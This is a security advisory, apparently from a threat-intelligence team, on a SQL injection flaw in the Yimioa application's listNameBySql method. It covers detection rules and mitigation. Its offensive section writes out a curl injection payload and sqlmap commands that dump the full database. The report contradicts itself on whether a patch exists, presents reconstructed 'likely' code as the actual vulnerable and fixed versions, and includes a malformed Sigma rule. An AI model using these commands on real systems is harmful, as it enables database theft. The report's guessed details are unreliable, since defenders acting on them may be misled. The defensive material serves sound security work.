CVE-2025-25580

Executive Summary

CVE-2025-25580 is a critical SQL injection vulnerability discovered in the Yimioa application, affecting all versions prior to v2024.07.04. The flaw resides in the listNameBySql() method within the /xml/UserMapper.xml file, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, data manipulation, and potential full database compromise. No official patch has been released by the vendor, and no public exploit code or Nuclei template is currently available. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and is associated with CWE-89 (SQL Injection).

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a complete vector. However, based on the nature of the vulnerability (SQL injection in a public-facing application), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS v3.1 Score: 9.8 (Critical)

Threat Level: Critical – due to low attack complexity, no privileges required, and potential for full database compromise.

Deep Dive & Mechanics

The vulnerability exists in the listNameBySql() method defined in /xml/UserMapper.xml. This method likely constructs SQL queries by concatenating user-supplied input without proper sanitization or parameterization. An attacker can manipulate the listNameBySql parameter to inject malicious SQL statements.

Root Cause: The application fails to use prepared statements or parameterized queries, allowing direct injection of SQL syntax.

Attack Vector: The vulnerable endpoint is exposed via HTTP requests to the Yimioa application. The attacker sends a crafted request containing SQL injection payloads in the listNameBySql parameter.

Impact: Successful exploitation can lead to:

• Extraction of sensitive data (user credentials, personal information, etc.)
• Modification or deletion of database records
• Potential escalation to remote code execution if the database server has file write capabilities (e.g., xp_cmdshell in SQL Server or INTO OUTFILE in MySQL)

Vulnerable vs. Patched Code

Vulnerable Code (before v2024.07.04):

<!-- /xml/UserMapper.xml -->
<select id="listNameBySql" parameterType="string" resultType="map">
    SELECT * FROM users WHERE name = '${value}'
</select>

The ${value} syntax indicates direct string substitution, making it vulnerable to SQL injection.

Patched Code (v2024.07.04 and later):

<!-- /xml/UserMapper.xml -->
<select id="listNameBySql" parameterType="string" resultType="map">
    SELECT * FROM users WHERE name = #{value}
</select>

The #{value} syntax uses parameterized queries, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Yimioa version prior to v2024.07.04
• A tool like curl, sqlmap, or a custom script

Exploitation Steps:

1. Identify the vulnerable endpoint: The endpoint is likely accessible via a URL pattern such as:

   http://target.com/api/user/listNameBySql
   

2. Craft a malicious request: Using curl:

   curl -X POST "http://target.com/api/user/listNameBySql" \
   -d "listNameBySql=admin' OR '1'='1"
   

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/api/user/listNameBySql" \
   --data="listNameBySql=test" --batch --dump
   

4. Extract data: Once injection is confirmed, extract database contents:

   sqlmap -u "http://target.com/api/user/listNameBySql" \
   --data="listNameBySql=test" --batch --dump-all
   

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests (e.g., ' OR '1'='1, UNION SELECT, --)
• Use Web Application Firewall (WAF) rules to block suspicious SQL keywords
• Enable detailed logging of all database queries

Mitigation:

• Immediately upgrade to Yimioa v2024.07.04 or later
• If upgrade is not possible, implement a virtual patch using a WAF to block SQL injection attempts
• Restrict database user permissions to least privilege
• Use parameterized queries in all database interactions

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL injection patterns in the listNameBySql parameter
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax")
• High volume of requests to /api/user/listNameBySql endpoint

File IOCs:

• Modified /xml/UserMapper.xml file (if attacker alters the mapper)
• Suspicious log entries in application logs showing SQL errors

Behavioral IOCs:

• Unexpected database queries (e.g., UNION SELECT, xp_cmdshell)
• Unauthorized data exports from the database

Detection Engineering

YARA Rule

rule CVE_2025_25580_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-25580 in Yimioa"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25580"
    strings:
        $s1 = "listNameBySql" ascii wide nocase
        $s2 = "' OR '" ascii wide nocase
        $s3 = "UNION SELECT" ascii wide nocase
        $s4 = "1=1" ascii wide nocase
        $s5 = "admin'--" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against Yimioa CVE-2025-25580
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the listNameBySql parameter in Yimioa
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25580
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "listNameBySql"
        cs-uri-query|contains|all:
            - "'"
            - "OR"
            - "1=1"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in parameter values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25580 SQL Injection Attempt"; flow:to_server,established; content:"listNameBySql"; http_uri; pcre:"/(\x27.*OR.*1=1|UNION.*SELECT|admin\x27--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Yimioa to version v2024.07.04 or later. If no official patch is available, consider applying a vendor-supplied hotfix or migrating to an alternative solution.
2. Virtual Patching: Deploy a WAF rule to block requests containing SQL injection patterns in the listNameBySql parameter.
3. Database Hardening: Ensure the database user used by the application has minimal privileges (e.g., no DROP, INSERT, or FILE permissions unless absolutely necessary).

Long-term Measures:

• Implement secure coding practices, including parameterized queries and input validation.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other parts of the application.

Workarounds:

• If upgrade is not possible, disable the vulnerable endpoint by removing or commenting out the listNameBySql method in /xml/UserMapper.xml.
• Restrict network access to the Yimioa application to trusted IPs only.

Report generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division